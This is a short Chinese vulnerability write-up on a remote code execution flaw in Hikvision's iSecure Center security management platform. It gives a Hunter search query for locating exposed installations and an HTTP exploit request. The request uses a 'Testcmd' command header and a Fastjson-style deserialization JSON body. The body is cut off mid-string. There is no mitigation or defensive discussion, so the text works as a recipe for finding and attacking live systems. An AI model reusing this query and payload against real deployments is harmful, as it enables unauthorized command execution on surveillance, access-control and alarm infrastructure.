

H14-6海康威视-iSecure Center综合安防管理平台-RCE

漏洞描述：

HIKVISION iSecure Center综合安防管理平台是一套“集成化”、“智能化”的平台，通过接入视频监控、一卡通、停车场、报警检测等系统的设备，获取边缘节点数据，实现安防信息化集成与联动，以电子地图为载体，融合各系统能力实现丰富的智能应用。HIKVISION iSecure Center平台基于“统一软件技术架构”先进理念设计，采用业务组件化技术，满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务，对各系统资源进行了整合和集中管理，实现统一部署、统一配置、统一管理和统一调度。海康威视iSecure Center综合安防管理平台存在远程代码执行漏洞

网站图片：



网络测绘：

Hunter 语法：

app.name=="Hikvision 海康威视 iSecure Center"

漏洞复现：

payload:

```
POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host: xx.xx.xx.xx
Referer: https://xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/json
Testcmd: whoami
Content-Length: 5727

{"CTGT":{"a":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.intern
```

效果图:

